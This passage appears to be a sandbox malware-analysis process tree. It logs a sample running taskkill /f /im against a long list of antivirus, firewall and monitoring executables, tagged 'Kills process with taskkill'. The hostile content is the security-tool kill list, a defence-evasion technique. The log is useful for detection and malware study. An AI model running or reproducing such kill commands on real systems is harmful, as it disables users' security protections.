      taskkill /f /im esafe.exe
      4⤵
      PID:1416
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im escanh95.exe
      4⤵
      Kills process with taskkill
      PID:1704
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im escanhnt.exe
      4⤵
      PID:1776
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im escanv95.exe
      4⤵
      PID:1532
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im espwatch.exe
      4⤵
      PID:540
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im etrustcipe.exe
      4⤵
      PID:1300
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im evpn.exe
      4⤵
      PID:1668
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im exantivirus -cnet.exe
      4⤵
      PID:1908
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im fameh32.exe
      4⤵
      PID:324
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im fast.exe
      4⤵
      PID:476
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im fch32.exe
      4⤵
      PID:1516
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im fih32.exe
      4⤵
      PID:1476
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im findviru.exe
      4⤵
      PID:1472
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im firewall.exe
      4⤵
      PID:828
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im fix-it.exe
      4⤵
      PID:1880
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im flowprotector.exe
      4⤵
      PID:1744
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im fnrb32.exe
      4⤵
      PID:1144
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im fp -win.exe
      4⤵
      PID:888
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im fp -win_trial.exe
      4⤵
      PID:1752
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im fprot.exe
      4⤵
      PID:1780
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im frw.exe
      4⤵
      PID:1188
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im fsaa.exe
      4⤵
      PID:1504
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im fsav32.exe
      4⤵
      PID:2004
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im fsav95.exe
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im fsave32.exe
      4⤵
      PID:1948
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im fsgk32.exe
      4⤵
      PID:1680
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im fsm32.exe
      4⤵
      PID:1932
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im fsma32.exe
      4⤵
      PID:1536
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im fsmb32.exe
      4⤵
      Kills process with taskkill
      PID:1540
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im fwenc.exe
      4⤵
      PID:1908
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im gbmenu.exe
      4⤵
      PID:324
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im gbpoll.exe
      4⤵
      PID:476
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im gedit.exe
      4⤵
      PID:1516
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im generics.exe
      4⤵
      PID:1476
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im grief3878.exe
      4⤵
      PID:1472
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im guard.exe
      4⤵
      PID:828
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im guarddog.exe
      4⤵
      PID:1880
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im HackerEliminator.exe
      4⤵
      PID:1744
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im iamapp.exe
      4⤵
      PID:1144
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im iamserv.exe
      4⤵
      PID:2020
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im iamstats.exe
      4⤵
      PID:1124
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ibmasn.exe
      4⤵
      PID:2000
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ibmavsp.exe
      4⤵
      PID:1416
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im icload95.exe
      4⤵
      PID:2036
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im icloadnt.exe
      4⤵
      PID:364
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im icmon.exe
      4⤵
      Kills process with taskkill
      PID:1412
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im icsupp95.exe
      4⤵
      PID:540
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im icsuppnt.exe
      4⤵
      PID:692
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im iface.exe
      4⤵
      PID:1480
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ifw2000.exe
      4⤵
      PID:848
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im inoculateit.exe
      4⤵
      PID:1520
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im iomon98.exe
      4⤵
      PID:2008
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im iparmor.exe
      4⤵
      PID:1564
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im iris.exe
      4⤵
      PID:996
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im isrv95.exe
      4⤵
      PID:1992
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im jammer.exe
      4⤵
      PID:1984
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im jedi.exe
      4⤵
      PID:1676
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im kavpf.exe
      4⤵
      PID:1652
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ldnetmon.exe
      4⤵
      PID:1844
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ldpromenu.exe
      4⤵
      PID:1780
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ldscan.exe
      4⤵
      PID:1988
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im localnet.exe
      4⤵
      Kills process with taskkill
      PID:1632
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im lockdown.exe
      4⤵
      PID:2004
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im lookout.exe
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im luall.exe
      4⤵
      PID:1948
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im lucomserver.exe
      4⤵
      PID:1072
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im luspt.exe
      4⤵
      PID:552
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mcafee.exe
      4⤵
      PID:1536
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mcagent.exe
      4⤵
      PID:1540
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mcmnhdlr.exe
      4⤵
      PID:1908
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mcshield.exe
      4⤵
      PID:324
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mcshieldvvstat.exe
      4⤵
      PID:1428
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mctool.exe
      4⤵
      PID:1516
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mcupdate.exe
      4⤵
      PID:1528
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mcvsrte.exe
      4⤵
      PID:772
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mcvsshld.exe
      4⤵
      PID:828
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mgavrtcl.exe
      4⤵
      PID:1880
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mgavrte.exe
      4⤵
      PID:1608
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mghtml.exe
      4⤵
      PID:1468
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mgui.exe
      4⤵
      PID:1188
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im minilog.exe
      4⤵
      PID:1124
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mon.exe
      4⤵
      PID:360
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im monitor.exe
      4⤵
      PID:536
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im monsys32.exe
      4⤵
      PID:1524
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im monsysnt.exe
      4⤵
      Kills process with taskkill
      PID:1680
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im moolive.exe
      4⤵
      PID:1932
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mpfservice.exe
      4⤵
      PID:1688
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mpftray.exe
      4⤵
      PID:980
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mrflux.exe
      4⤵
      PID:1480
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im msinfo32.exe
      4⤵
      PID:2016
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mwatch.exe
      4⤵
      PID:476
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im mxtask.exe
      4⤵
      PID:1696
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im n32scanw.exe
      4⤵
      Kills process with taskkill
      PID:1476
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nav.exe
      4⤵
      PID:1996
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im NAV DefAlert.exe
      4⤵
      PID:1120
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nav32.exe
      4⤵
      PID:1584
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im navalert.exe
      4⤵
      PID:804
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im navap.exe
      4⤵
      PID:1660
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im navapsvc.exe
      4⤵
      PID:1168
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im NAVAPW32.exe
      4⤵
      PID:888
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im navauto -protect.exe
      4⤵
      PID:544
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im navdx.exe
      4⤵
      PID:2000
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im navengnavex15.exe
      4⤵
      PID:1632
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im navlu32.exe
      4⤵
      PID:2004
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im navnt.exe
      4⤵
      PID:364
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im navrunr.exe
      4⤵
      PID:1532
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im navstub.exe
      4⤵
      PID:1088
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im navw32.exe
      4⤵
      PID:1300
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im Navwnt.exe
      4⤵
      PID:864
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nc2000.exe
      4⤵
      PID:776
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ndd32.exe
      4⤵
      PID:1920
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im neomonitor.exe
      4⤵
      PID:324
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im neowatchlog.exe
      4⤵
      PID:1204
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im net2000.exe
      4⤵
      PID:1060
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im netarmor.exe
      4⤵
      PID:1992
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im netcommando.exe
      4⤵
      PID:1972
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im netinfo.exe
      4⤵
      PID:1472
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im netmon.exe
      4⤵
      PID:392
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im netpro.exe
      4⤵
      PID:2024
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im netprotect.exe
      4⤵
      PID:1752
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im netscanpro.exe
      4⤵
      PID:2044
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im netspyhunter -1.2.exe
      4⤵
      PID:1124
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im netstat.exe
      4⤵
      Kills process with taskkill
      PID:308
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im netutils.exe
      4⤵
      PID:1648
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im netutils].exe
      4⤵
      PID:1788
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nimda.exe
      4⤵
      PID:824
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nisserv.exe
      4⤵
      PID:1140
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nisum.exe
      4⤵
      Kills process with taskkill
      PID:924
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nisumnisservnisum.exe
      4⤵
      PID:624
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nmain.exe
      4⤵
      Kills process with taskkill
      PID:1208
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nod32.exe
      4⤵
      PID:1928
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im norman.exe
      4⤵
      PID:1808
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im norman_32.exe
      4⤵
      PID:1596
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im norman_av.exe
      4⤵
      PID:1784
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im norman32.exe
      4⤵
      PID:928
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im normanav.exe
      4⤵
      PID:1728
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im normist.exe
      4⤵
      PID:1092
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im norton.exe
      4⤵
      PID:1744
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im Norton Auto-Protect.exe
      4⤵
      PID:1652
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im norton_av.exe
      4⤵
      PID:1624
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nortonav.exe
      4⤵
      PID:1780
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im notstart.exe
      4⤵
      PID:544
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im npfmessenger.exe
      4⤵
      PID:952
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im npfw.exe
      4⤵
      PID:1292
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im npfw32.exe
      4⤵
      PID:536
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nprotect.exe
      4⤵
      Kills process with taskkill
      PID:1724
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im npscheck.exe
      4⤵
      PID:364
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im npssvc.exe
      4⤵
      Kills process with taskkill
      PID:1532
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nresq32.exe
      4⤵
      PID:1088
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nsched32.exe
      4⤵
      PID:1300
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nschednt.exe
      4⤵
      PID:864
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nsplugin.exe
      4⤵
      PID:776
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ntrtscan.exe
      4⤵
      PID:856
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ntvdm.exe
      4⤵
      PID:2008
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ntxconfig.exe
      4⤵
      PID:1476
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nui.exe
      4⤵
      PID:1060
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nupgrade.exe
      4⤵
      PID:1992
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nvarch16.exe
      4⤵
      PID:1972
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nvc95.exe
      4⤵
      PID:1472
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nvsvc32.exe
      4⤵
      Kills process with taskkill
      PID:1000
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nwservice.exe
      4⤵
      PID:1752
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im nwtool16.exe
      4⤵
      PID:2044
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im offguard.exe
      4⤵
      PID:432
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im OPScan.exe
      4⤵
      PID:1416
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ostronet.exe
      4⤵
      PID:1524
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im outpost.exe
      4⤵
      PID:1680
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im padmin.exe
      4⤵
      PID:1948
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im panda.exe
      4⤵
      PID:1688
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pandaav.exe
      4⤵
      PID:552
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im panixk.exe
      4⤵
      PID:832
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pav.exe
      4⤵
      PID:1836
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pavcl.exe
      4⤵
      PID:1428
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pavproxy.exe
      4⤵
      PID:1968
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pavsched.exe
      4⤵
      PID:1820
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pavw.exe
      4⤵
      PID:1108
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pc -cillan.exe
      4⤵
      PID:1320
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pc -cillin.exe
      4⤵
      PID:1516
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pccclient.exe
      4⤵
      PID:1060
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pccguide.exe
      4⤵
      PID:1992
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pcciomon.exe
      4⤵
      PID:1972
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pccntmon.exe
      4⤵
      PID:1472
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pccwin97.exe
      4⤵
      PID:1000
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pccwin98.exe
      4⤵
      PID:1752
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pcfwallicon.exe
      4⤵
      PID:2044
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pcscan.exe
      4⤵
      PID:432
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im periscope.exe
      4⤵
      PID:1416
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im persfw.exe
      4⤵
      PID:1524
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pf2.exe
      4⤵
      PID:1680
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pfwadmin.exe
      4⤵
      PID:1948
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pingscan.exe
      4⤵
      PID:1688
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im platin.exe
      4⤵
      Kills process with taskkill
      PID:552
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pop3trap.exe
      4⤵
      PID:832
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im poproxy.exe
      4⤵
      PID:1836
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im portdetective.exe
      4⤵
      PID:1428
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im portmonitor.exe
      4⤵
      PID:1968
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ppinupdt.exe
      4⤵
      PID:1820
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pptbc.exe
      4⤵
      PID:1108
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ppvstop.exe
      4⤵
      PID:1728
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im processmonitor.exe
      4⤵
      Kills process with taskkill
      PID:1120
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im procexplorerv10#.exe
      4⤵
      PID:1744
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im programauditor.exe
      4⤵
      PID:2024
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im proport.exe
      4⤵
      PID:1168
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im protectx.exe
      4⤵
      PID:892
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pspf.exe
      4⤵
      Kills process with taskkill
      PID:2000
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im purge.exe
      4⤵
      PID:308
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pview95.exe
      4⤵
      PID:1224
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im pw32.exe
      4⤵
      PID:880
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im qconsole.exe
      4⤵
      PID:824
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im rav.exe
      4⤵
      PID:1840
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im rav7.exe
      4⤵
      PID:980
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im rav7win.exe
      4⤵
      PID:624
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im realmon.exe
      4⤵
      PID:848
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im regrun2.exe
      4⤵
      PID:2012
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im rescue.exe
      4⤵
      PID:1100
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im rrguard.exe
      4⤵
      PID:1596
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im rshell.exe
      4⤵
      PID:1996
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im rtvscn95.exe
      4⤵
      PID:1516
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im rulaunch.exe
      4⤵
      PID:1676
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im safeweb.exe
      4⤵
      Kills process with taskkill
      PID:1548
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im SAVscan.exe
      4⤵
      PID:392
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sbserv.exe
      4⤵
      PID:1624
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im SBservice.exe
      4⤵
      Kills process with taskkill
      PID:1000
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im scan.exe
      4⤵
      PID:1752
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im scan32.exe
      4⤵
      PID:2044
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im scan95.exe
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im scanpm.exe
      4⤵
      PID:1416
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im scrscan.exe
      4⤵
      PID:1724
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sd.exe
      4⤵
      PID:364
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im SENS.exe
      4⤵
      PID:1776
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im serv95.exe
      4⤵
      PID:1088
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sfc.exe
      4⤵
      PID:552
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sh.exe
      4⤵
      PID:832
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sharedaccess.exe
      4⤵
      Kills process with taskkill
      PID:1836
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im shn.exe
      4⤵
      PID:1808
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im smc.exe
      4⤵
      PID:1696
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sofi.exe
      4⤵
      PID:1564
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sophos.exe
      4⤵
      Kills process with taskkill
      PID:1320
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sophos_av.exe
      4⤵
      PID:772
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sophosav.exe
      4⤵
      PID:804
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im spf.exe
      4⤵
      PID:1652
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sphinx.exe
      4⤵
      PID:1844
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im spy.exe
      4⤵
      PID:604
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im spygate.exe
      4⤵
      PID:892
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im spyx.exe
      4⤵
      PID:2000
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im spyxx.exe
      4⤵
      PID:1632
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im srwatch.exe
      4⤵
      PID:1768
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im ss3edit.exe
      4⤵
      PID:880
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im st2.exe
      4⤵
      PID:1220
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im supftrl.exe
      4⤵
      PID:1840
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im supp95.exe
      4⤵
      PID:924
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im supporter5.exe
      4⤵
      PID:624
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sweep95.exe
      4⤵
      PID:1028
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sweepnet.exe
      4⤵
      Kills process with taskkill
      PID:1600
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sweepsrv.sys.exe
      4⤵
      PID:996
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sweepsrv.sysvshwin32.exe
      4⤵
      PID:2008
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im swnetsup.exe
      4⤵
      PID:1784
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im symantec.exe
      4⤵
      PID:1516
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im Symantec Core LC.exe
      4⤵
      PID:1212
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im symlcsvc.exe
      4⤵
      PID:828
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im symproxysvc.exe
      4⤵
      PID:1144
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im symtray.exe
      4⤵
      PID:1880
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im sysedit.exe
      4⤵
      PID:1608
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im taskmon.exe
      4⤵
      PID:1168
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im taumon.exe
      4⤵
      PID:544
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tauscan.exe
      4⤵
      PID:360
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tbscan.exe
      4⤵
      Kills process with taskkill
      PID:1988
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tcm.exe
      4⤵
      PID:2036
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tctca.exe
      4⤵
      Kills process with taskkill
      PID:1544
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im tds -3.exe
      4⤵
      Kills process with taskkill
      PID:1412
